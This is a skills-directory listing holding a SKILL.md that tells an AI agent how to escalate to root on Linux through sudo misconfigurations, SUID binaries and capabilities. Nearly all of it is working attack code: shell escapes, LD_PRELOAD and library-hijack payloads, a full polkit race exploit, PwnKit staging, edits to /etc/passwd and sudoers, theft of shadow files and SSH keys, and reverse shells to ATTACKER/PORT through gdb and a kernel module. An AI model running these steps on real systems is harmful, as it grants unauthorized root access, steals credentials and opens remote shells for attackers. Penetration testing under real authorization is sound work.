Skip to content
Back to skills

Privesc Linux Sudo Suid Capabilities

DSecurity

You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries,

  • 2 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 19, 2026
securitypythongorubyphpshellbashsqlnodedockeraws

Works with

  • mcp

Security analysis

D59/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys

Pro shows the line behind each finding and how to fix it

Scanned September 19, 2026

npx -y skills add ajtazer/heckit --skill privesc-linux-sudo-suid-capabilities --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Privesc Linux Sudo Suid Capabilities?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Privesc Linux Sudo Suid Capabilities
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/ajtazer-privesc-linux-sudo-suid-capabilities/badge)](https://www.skillsdirectory.com/skills/ajtazer-privesc-linux-sudo-suid-capabilities)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: privesc-linux-sudo-suid-capabilities
description: You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries,
sources: community, blacklanternsecurity/red-run
---


# Linux Sudo, SUID, and Capabilities Exploitation

You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries,
and Linux capabilities for privilege escalation. All testing is under explicit written
authorization.

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[linux-sudo-suid-capabilities] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Prerequisites

- Shell access on Linux target
- At least one of: sudo permissions, SUID binary, binary with capabilities
- Knowledge of target OS version (for CVE matching)

## Step 1: Assess Sudo Configuration

If not already provided by linux-discovery, enumerate:

```bash
sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null
```

Classify findings and proceed to the relevant subsection below.

## Step 2: Sudo NOPASSWD Exploitation

### GTFOBins Binaries

If `sudo -l` shows `(root) NOPASSWD: /path/to/binary`, check GTFOBins for the binary.

**Common sudo escapes (highest priority):**

```bash
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano  # Ctrl+R → Ctrl+X → command

# Pagers
sudo less /etc/hosts    # then type: !bash
sudo more /etc/hosts    # then type: !bash
sudo man man            # then type: !bash

# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed  # then type: !bash

# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'

# Network tools
sudo ftp  # then type: !bash
sudo nmap --interactive  # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash

# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash

# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copy
```

### Sudo with Password (NOPASSWD not set)

If user has sudo access but needs a password, check for:
- Known password from engagement state
- Password reuse from other services
- Sudo token reuse (see sudo_inject below)

### Sudo with Specific Arguments

If sudo allows specific arguments (e.g., `sudo /usr/bin/vim /etc/config`):
- Editor escape still works: `sudo vim /etc/config` → `:!bash`
- For restricted commands, check if argument injection is possible

## Step 3: Sudo Environment Variable Abuse

### LD_PRELOAD Injection

**Prerequisite:** `sudo -l` shows `env_keep += LD_PRELOAD` or `SETENV:` tag.

```c
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
```

```bash
# Compile and exploit
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
```

### LD_LIBRARY_PATH Injection

**Prerequisite:** `sudo -l` shows `env_keep += LD_LIBRARY_PATH`.

```bash
# Find shared libraries used by the sudo-allowed binary
ldd /path/to/allowed_binary

# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles

# Execute with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
```

### PYTHONPATH / PERL5LIB Injection

**Prerequisite:** `sudo -l` shows `SETENV:` and binary calls Python/Perl.

```bash
# Python library hijack
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
```

### BASH_ENV Injection

**Prerequisite:** `env_keep += BASH_ENV` and command runs via bash.

```bash
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p
```

## Step 4: Sudo CVE Exploitation

### CVE-2021-3156 (Baron Samedit) — Heap Overflow

**Affected:** sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).

**MANDATORY — Verify before exploiting.** Distro backports frequently patch
sudo without changing the version string. Do NOT skip this step even if the
version appears vulnerable.

```bash
# Step 1: Check version
sudo -V | grep "Sudo version"

# Step 2: MANDATORY verification (does NOT exploit, just confirms)
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
# Vulnerable: segfault, memory corruption, "malloc(): corrupted..."
# Patched: "usage: sudoedit" error message
#
# If you see "usage:" → STOP. This build is patched. Do not waste time
# downloading or compiling exploits. Check CVE-2021-3560 (polkit) or
# other vectors instead.
```

If verification confirms vulnerability, proceed with exploitation. Public
exploits exist per distribution — match the target OS and use the correct
variant.

**Exploit transfer — attackbox-first workflow:** Targets often lack internet
access (CTF, air-gapped labs). Never `git clone` on target. Instead:
1. Download/compile exploit on attackbox for target architecture
2. Transfer via SSH (SCP, SFTP, paramiko) or base64 encode/decode
3. Alternatively, write exploit source as a heredoc and compile on target

```bash
# Exploits (multiple variants by OS — download on ATTACKBOX first):
# https://github.com/blasty/CVE-2021-3156
# https://github.com/worawit/CVE-2021-3156
```

### CVE-2019-14287 — User ID Bypass

**Prerequisite:** `sudo -l` shows `(ALL, !root) /bin/bash` or similar restriction
excluding root.

```bash
# The !root restriction can be bypassed with UID -1
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash
# Both resolve to UID 0 (root)
```

### Sudo Token Reuse (sudo_inject)

**Prerequisite:** ptrace_scope = 0, user has valid sudo session token.

```bash
# Check ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope  # Must be 0

# Check for sudo token files
ls -la /run/sudo/ts/$(whoami) 2>/dev/null || ls -la /var/run/sudo/ts/$(whoami) 2>/dev/null

# If sudo token exists and ptrace allows:
# https://github.com/nongiach/sudo_inject
# Creates invalid token → next sudo -i requires no password
```

### CVE-2021-3560 — Polkit D-Bus Authentication Bypass

**Affected:** polkit < 0.117 (common on CentOS 8, RHEL 8, Ubuntu 20.04).

Creates a privileged user account by exploiting a race condition in polkitd's
D-Bus message handling. When a D-Bus request is killed mid-flight (after polkitd
starts processing but before it replies), polkitd treats the absent reply as
"authorized."

**Prerequisites:**

```bash
# All four must be true:
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null  # polkit < 0.117
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null  # installed
which dbus-send 2>/dev/null  # available
ps aux | grep polkit  # polkitd running
```

**Phase 1 — Create privileged user via D-Bus race condition:**

```bash
NEW_USER="youruser"
NEW_FULLNAME="Your Name"

# Generate password hash for the new account
NEW_PASS='YourPassword123!'
HASH=$(openssl passwd -6 "$NEW_PASS" 2>/dev/null)

# Race loop: send CreateUser request and kill it mid-authorization
# int32:1 = administrator (wheel/sudo group)
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply /org/freedesktop/Accounts \
        org.freedesktop.Accounts.CreateUser \
        string:"$NEW_USER" string:"$NEW_FULLNAME" int32:1 &
    PID=$!
    # Timing is critical — 0.005s to 0.015s covers most systems
    # Start at 0.008s; adjust if needed
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null

    if id "$NEW_USER" &>/dev/null; then
        echo "[+] User created on attempt $i"
        break
    fi
done

# Verify user was created with admin group
id "$NEW_USER"
```

**Phase 2 — Set password via D-Bus race condition:**

```bash
# Get the new user's D-Bus object path
USER_PATH=$(dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
    --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.FindUserByName \
    string:"$NEW_USER" 2>/dev/null | grep "object path" | cut -d'"' -f2)

echo "[*] User D-Bus path: $USER_PATH"

# Same race condition to set password
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply "$USER_PATH" \
        org.freedesktop.Accounts.User.SetPassword \
        string:"$HASH" string:"" &
    PID=$!
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null
done
```

**Phase 3 — Verify and escalate:**

```bash
# Switch to new user and verify sudo
su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
# Expected: uid=0(root) gid=0(root) groups=0(root)

# Get root shell
su - "$NEW_USER"
# Then: sudo -i (or echo password | sudo -S bash)
```

**Timing calibration:** The sleep value (0.008s) is timing-dependent. If the
exploit fails after 100 attempts:
- Try 0.005s (faster systems, VMs with low latency)
- Try 0.012s (slower systems, remote SSH)
- Try 0.003s (very fast local systems)
- Run multiple rounds with different timings

The race typically succeeds within 20-50 attempts on most systems. If user
creation works but password setting fails (or vice versa), adjust timing for
each phase independently.

**Remote execution via SSH (paramiko/sshpass):** When automating over SSH,
write the exploit as a bash script, transfer it via SFTP or heredoc, then
execute. The race condition timing works the same over SSH — the `sleep` and
`kill` happen on the target, not the attackbox.

**Troubleshooting:**
- `Error org.freedesktop.Accounts.Error.PermissionDenied` on every attempt →
  polkitd may be patched or not running. Check `systemctl status polkit`.
- User created but not in wheel/sudo group → the `int32:1` flag sets
  administrator. Verify with `id username`. If not admin, the race lost on
  the group assignment — delete user and retry.
- Password not set (su fails) → the SetPassword race is harder to win. Try
  more attempts (200+) or different timing. Verify the hash is correct:
  `grep username /etc/shadow`.
- `dbus-send` not found → install `dbus` package or check `/usr/bin/gdbus`
  as alternative.

### CVE-2021-4034 (PwnKit) — pkexec Argument Handling

**Affected:** polkit pkexec < 0.120 (present on most Linux distros before Jan 2022).

pkexec mishandles argc=0 invocations, allowing arbitrary code execution as root
through GCONV_PATH environment variable manipulation. Requires pkexec to have the
SUID bit set (default on virtually all installations).

**Verification:**

```bash
# Check pkexec is SUID
ls -la /usr/bin/pkexec
# Expected: -rwsr-xr-x root root

# Check polkit version
dpkg -l policykit-1 2>/dev/null || rpm -q polkit 2>/dev/null
# Vulnerable: < 0.120 (Debian/Ubuntu), < 0.120 (RHEL/CentOS)
```

**Exploitation:**

PwnKit requires staging files in a directory where the SUID process can
execute shared libraries. `/tmp` is often mounted noexec on hardened systems.

```bash
# Step 1: Find an exec-capable staging directory
# Try these in order — first writable+exec wins:
for d in /dev/shm /var/tmp /run/lock "$HOME" /opt; do
    mount | grep -q "$(df "$d" 2>/dev/null | tail -1 | awk '{print $1}').*noexec" && continue
    [ -w "$d" ] && echo "[+] $d is writable and exec-capable" && break
done

# Step 2: Stage exploit in the chosen directory
cd /dev/shm  # or whichever directory passed
mkdir -p pwnkit_work && cd pwnkit_work
```

**Exploit transfer — attackbox-first workflow:**

Public PwnKit exploits:
- https://github.com/ly4k/PwnKit (self-contained C, static compilation)
- https://github.com/berdav/CVE-2021-4034 (Makefile-based)

```bash
# On ATTACKBOX: download and compile static binary
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make
# Or compile static: gcc -static -o pwnkit PwnKit.c

# Transfer to target
python3 -m http.server 8080 &
# On TARGET:
wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
chmod +x /dev/shm/pwnkit_work/pwnkit
```

```bash
# Step 3: Execute
cd /dev/shm/pwnkit_work
./pwnkit
# Expected: root shell
id
# uid=0(root) gid=0(root)
```

**If /tmp is noexec:** This is the most common PwnKit failure. The GCONV_PATH
trick requires the exploit's shared library to be dlopen'd by pkexec (a SUID
process). SUID processes ignore LD_PRELOAD, so the .so MUST be on an
exec-capable filesystem. Use /dev/shm, /var/tmp, or a home directory instead.
Never attempt LD_PRELOAD workarounds — they do not work with SUID binaries and
risk destabilizing the target.

**If no exec-capable writable directory exists:** PwnKit is blocked. Return to
orchestrator with assessment: `blocked — no exec-capable staging directory for
GCONV_PATH .so`. The orchestrator may route to **linux-kernel-exploits** for
DirtyCow/DirtyPipe or other vectors that don't require shared library loading.

## Step 4b: PAM Environment Injection + Polkit Active Session Bypass

When `linux-discovery` reports `user_readenv=1` in PAM config and polkit
`allow_active=yes` on privileged actions, this chain escalates an SSH session to
perform operations that normally require physical console presence.

### How It Works

1. `pam_env.so` with `user_readenv=1` reads `~/.pam_environment` during the auth
   stack — *before* `pam_systemd.so` runs in the session stack
2. Injecting `XDG_SEAT` and `XDG_VTNR` tricks `pam_systemd` into registering the
   SSH session as a physical console session (`Active=yes`)
3. Polkit policies with `allow_active=yes` now grant access without authentication
4. `udisksctl loop-setup` + `Filesystem.Resize`/`Check` triggers a temporary mount
   via libblockdev at `/tmp/blockdev.XXXXXX` **without nosuid flags**
5. A SUID root binary in the mounted filesystem executes with `euid=0`

### Prerequisites

- SSH access as any user
- `pam_env.so` configured with `user_readenv=1` (default on SUSE/openSUSE)
- `udisks2` + `libblockdev` installed (default on most desktop-oriented installs)
- Polkit `allow_active=yes` on udisks2 loop-setup and filesystem operations
- `xfsprogs` on attackbox (for building the XFS image)

### Step 1: Verify PAM Configuration

```bash
grep -r "user_readenv" /etc/pam.d/ 2>/dev/null
# Look for: pam_env.so user_readenv=1
```

If `user_readenv=1` is NOT present, this technique does not apply.

### Step 2: Inject Session Properties

```bash
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
```

**Disconnect the SSH session** (exit), then **reconnect**. The new session will be
registered as Active.

### Step 3: Verify Active Session

```bash
loginctl show-session "$XDG_SESSION_ID" | grep -E "Active|State|Seat"
# Expected: Active=yes, State=active, Seat=seat0
```

If `Active=no`, check that `~/.pam_environment` was written correctly and that
you fully disconnected and reconnected (not just opened a new channel on the
same SSH connection).

### Step 4: Build Malicious Filesystem Image (on attackbox)

Build an XFS image containing a SUID root bash binary. This requires root on the
attackbox.

```bash
# Get bash from target for glibc compatibility
scp user@TARGET:/bin/bash /tmp/target-bash

# Create XFS image
dd if=/dev/zero of=./suid.image bs=1M count=300
mkfs.xfs -f ./suid.image
mkdir -p /tmp/suid-mount
mount -t xfs ./suid.image /tmp/suid-mount
cp /tmp/target-bash /tmp/suid-mount/bash
chown root:root /tmp/suid-mount/bash
chmod 04555 /tmp/suid-mount/bash
umount /tmp/suid-mount

# Transfer to target
scp ./suid.image user@TARGET:~/suid.image
```

### Step 5: Exploit UDisks2 Nosuid Mount Race

On target (with `Active=yes` session):

```bash
# Kill gvfs-udisks2-volume-monitor if running (can interfere)
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || true

# Create loop device (no auth prompt thanks to Active=yes)
udisksctl loop-setup --file ~/suid.image --no-user-interaction
# Note the device path (e.g., /dev/loop0)

# Start background catcher — races to exec SUID bash from temp mount
(while true; do
  for d in /tmp/blockdev*/; do
    [ -x "${d}bash" ] && exec "${d}bash" -p -c 'echo "[+] GOT ROOT"; id; exec bash -p'
  done
  sleep 0.01
done) &
CATCHER_PID=$!

# Trigger nosuid-less temporary mount via XFS resize
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 'a{sv}'

# If Resize errors, try Check instead:
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Check 'a{sv}'

# Wait and check
sleep 2
ls -la /tmp/blockdev*/bash 2>/dev/null

# Execute SUID bash directly if catcher didn't fire
/tmp/blockdev*/bash -p
# Expected: euid=0(root)
```

**The `-p` flag is critical** — without it, bash drops the elevated euid.

### Troubleshooting

- **"Not authorized" from udisksctl**: `Active=yes` didn't take effect. Verify
  with `loginctl show-session`. Ensure you fully disconnected and reconnected SSH.
- **Race doesn't land**: The mount window is milliseconds. Retry 3-5 times. Kill
  the catcher (`kill $CATCHER_PID`), delete the loop device (`udisksctl
  loop-delete --block-device /dev/loop0 --no-user-interaction`), and repeat from
  loop-setup.
- **Loop device is loop1/loop2**: Adjust the gdbus object path to match (e.g.,
  `/org/freedesktop/UDisks2/block_devices/loop1`).
- **No /tmp/blockdev* appears**: libblockdev may use a different temp path. Check
  `/proc/mounts` while triggering Resize/Check. A compiled C catcher monitoring
  `/proc/mounts` in a tight loop is more reliable than the bash approach.
- **udisksctl not found**: udisks2 not installed. This technique does not apply.

### Cleanup

```bash
rm ~/.pam_environment
kill $CATCHER_PID 2>/dev/null
udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction 2>/dev/null
rm ~/suid.image
```

## Step 5: SUID Binary Exploitation

### Enumeration

```bash
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null   # SGID
```

### GTFOBins SUID Exploitation

Same escapes as sudo but binary runs as owner (usually root). Key difference:
bash drops privileges unless `-p` flag is used.

```bash
# If /usr/bin/python3 has SUID bit
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/find has SUID bit
/usr/bin/find . -exec /bin/bash -p \;

# If /usr/bin/vim has SUID bit
/usr/bin/vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/bash has SUID bit
/usr/bin/bash -p

# If /usr/bin/cp has SUID bit — overwrite /etc/passwd
# Generate password hash: openssl passwd -1 -salt xyz password123
# Add line: root2:$1$xyz$hashhere:0:0:root:/root:/bin/bash
/usr/bin/cp /tmp/modified_passwd /etc/passwd
```

### Custom SUID Binary Analysis

For non-standard SUID binaries not in GTFOBins:

```bash
# Analyze the binary
strings /path/to/suid_binary | grep -iE "system|exec|popen|/bin|/tmp"
strace /path/to/suid_binary 2>&1 | grep -E "exec|open|access"
ltrace /path/to/suid_binary 2>&1 | grep -E "system|exec|popen"
```

**Exploitation patterns:**

1. **Calls `system()` with relative path** → PATH hijack:
```bash
# If binary calls system("service apache2 restart")
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
```

2. **Loads shared object from writable path** → .so injection:
```bash
# Check for missing libraries
ldd /path/to/suid_binary | grep "not found"
# Or check RPATH/RUNPATH
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
```

```c
// exploit.c — shared object with constructor
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

```bash
gcc -fPIC -shared -o /path/to/missing_lib.so exploit.c
/path/to/suid_binary  # triggers library load → root shell
```

3. **Reads/writes files as root** → read /etc/shadow or write /etc/passwd

### SGID Exploitation

```bash
# SGID binary runs with group of file owner
# If SGID binary belongs to 'shadow' group → read /etc/shadow
# If SGID binary belongs to 'docker' group → Docker socket access

# Impersonate group via Python SGID binary
python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'  # 42 = shadow
```

## Step 6: Linux Capabilities Exploitation

### CAP_SETUID — Direct Root

```bash
# Any binary with cap_setuid+ep → immediate root
# Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'

# Node.js
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# PHP
php -r 'posix_setuid(0); system("/bin/bash");'

# Custom C binary
# If gcc and cap_setuid binary available:
# Compile: int main(){setuid(0);setgid(0);system("/bin/bash -p");}
```

### CAP_SETGID — Group Escalation

```bash
# Impersonate shadow group to read /etc/shadow
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'

# Impersonate root group
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'
```

### CAP_DAC_OVERRIDE — Bypass Write Permissions

Binary can write to any file regardless of permissions.

```python
# Append to /etc/sudoers
python3 -c '
f = open("/etc/sudoers", "a")
f.write("\nUSERNAME ALL=(ALL) NOPASSWD:ALL\n")
f.close()
'
```

```python
# Overwrite /etc/passwd with root user
python3 -c '
import crypt
password = crypt.crypt("password123", "$6$salt")
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
    f.write(line)
'
```

### CAP_DAC_READ_SEARCH — Read Any File

```bash
# Read /etc/shadow directly
python3 -c 'print(open("/etc/shadow").read())'

# Read SSH private keys
python3 -c 'print(open("/root/.ssh/id_rsa").read())'

# Tar-based extraction (if tar has the capability)
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
```

**Container escape (shocker exploit):** Binary with cap_dac_read_search can use
`open_by_handle_at()` to access host filesystem from within a container. Use the
shocker exploit C code.

### CAP_SYS_ADMIN — Mount and Namespace Abuse

```bash
# Mount host disk (container escape)
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
```

```python
# Mount overlay to replace /etc/passwd
python3 -c '
from ctypes import CDLL
libc = CDLL("libc.so.6")
libc.mount.argtypes = [c_char_p, c_char_p, c_char_p, c_ulong, c_char_p]
libc.mount(b"/tmp/fake_passwd", b"/etc/passwd", b"none", 4096, b"rw")  # MS_BIND=4096
'
```

### CAP_SYS_PTRACE — Process Injection

```bash
# GDB injection into root process
gdb -p <root_pid>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
(gdb) detach
(gdb) quit
```

```python
# Python ptrace injection (shellcode into root process)
import ctypes, os, struct, signal

PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_CONT = 7

libc = ctypes.CDLL("libc.so.6")

# Find a root-owned process
pid = <target_root_pid>

# Attach, inject shellcode, set RIP, continue
libc.ptrace(PTRACE_ATTACH, pid, None, None)
os.waitpid(pid, 0)
# ... inject reverse shell shellcode at RIP ...
libc.ptrace(PTRACE_DETACH, pid, None, None)
```

### CAP_SYS_MODULE — Kernel Module Loading

```c
// reverse_shell.c — kernel module
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");

char *argv[] = {"/bin/bash", "-c",
    "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
static char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};

static int __init shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit shell_exit(void) {}
module_init(shell_init);
module_exit(shell_exit);
```

```makefile
# Makefile
obj-m += reverse_shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
```

```bash
make
insmod reverse_shell.ko
```

### CAP_CHOWN / CAP_FOWNER — Ownership and Permission Changes

```bash
# CAP_CHOWN: take ownership of /etc/shadow
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
cat /etc/shadow  # Now readable

# CAP_FOWNER: make /etc/shadow world-readable
python3 -c 'import os; os.chmod("/etc/shadow", 0o666)'
cat /etc/shadow
```

### CAP_SETFCAP — Capability Chaining

Binary can set capabilities on other binaries. Chain to cap_setuid:

```python
# Set cap_setuid on python3
python3 -c '
import ctypes
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
cap = libcap.cap_from_text(b"cap_setuid+ep")
libcap.cap_set_file(b"/usr/bin/python3", cap)
'

# Then exploit cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

### CAP_NET_RAW — Packet Sniffing

Not directly exploitable for privilege escalation but enables credential sniffing:

```bash
# Sniff for credentials on the network
tcpdump -i any -A -s0 'port 80 or port 21 or port 25' 2>/dev/null | grep -iE "user|pass|login"
```

## Step 7: Escalate or Pivot

## Troubleshooting

### SUID binary drops privileges (bash without -p)
Bash resets EUID to RUID when they differ. Always use `bash -p` or call
`setuid(0)` before exec. For `system()` calls: the child shell also drops
privileges — use `execve()` instead or `system("/bin/bash -p")`.

### LD_PRELOAD doesn't work with sudo
Check: (1) `env_keep` includes `LD_PRELOAD` in sudo config, (2) binary is not
statically linked (`file /path/to/binary`), (3) binary is not running in secure
mode (SUID binaries ignore LD_PRELOAD by default — only works via sudo).

### getcap returns nothing
Some systems strip capabilities. Check if `getcap` is available and has read
access to binary directories. Try `cat /proc/<pid>/status | grep Cap` for
running processes.

### Kernel rejects module loading
CAP_SYS_MODULE may be restricted by Secure Boot or module signing. Check
`cat /proc/sys/kernel/modules_disabled` — if 1, module loading is disabled
system-wide. No bypass without kernel exploit.

### SUID binary is statically linked
Cannot use shared object injection or LD_PRELOAD. Focus on argument injection,
environment variable abuse, or functionality-based exploitation (GTFOBins patterns).

### PwnKit fails with GCONV errors
The staging directory is likely mounted noexec. Move all PwnKit files to an
exec-capable directory (/dev/shm, /var/tmp, home directory). Check with:
`mount | grep "$(df /path 2>/dev/null | tail -1 | awk '{print $1}')"` — if
the output includes "noexec", that directory won't work. If no exec-capable
directory is writable, PwnKit is blocked — return to orchestrator.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…